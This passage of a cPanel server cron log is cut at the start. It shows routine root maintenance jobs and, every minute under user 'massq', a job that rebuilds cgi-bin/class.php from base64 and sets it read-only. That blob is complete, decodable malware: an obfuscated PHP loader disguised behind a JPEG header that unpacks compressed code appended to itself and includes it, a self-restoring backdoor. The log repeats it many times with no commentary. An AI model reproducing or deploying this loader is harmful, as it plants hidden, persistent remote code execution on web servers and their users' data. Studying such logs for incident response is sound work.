czPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:30:01 server CROND[7064]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:30:01 server CROND[7065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 01:30:01 server CROND[7066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:30:01 server CROND[7067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:31:01 server CROND[7278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:32:01 server CROND[7320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:33:01 server CROND[7367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:34:01 server CROND[7426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:35:01 server CROND[7477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:35:01 server CROND[7479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:35:01 server CROND[7480]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 01:35:01 server CROND[7483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:35:01 server CROND[7482]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 13 01:36:01 server CROND[7688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:37:01 server CROND[7728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:38:01 server CROND[7780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:39:01 server CROND[7841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:39:01 server CROND[7842]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 13 01:40:01 server CROND[7905]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 01:40:01 server CROND[7907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:40:01 server CROND[7908]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:40:01 server CROND[7906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:41:01 server CROND[8115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:42:01 server CROND[8164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:42:01 server CROND[8165]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
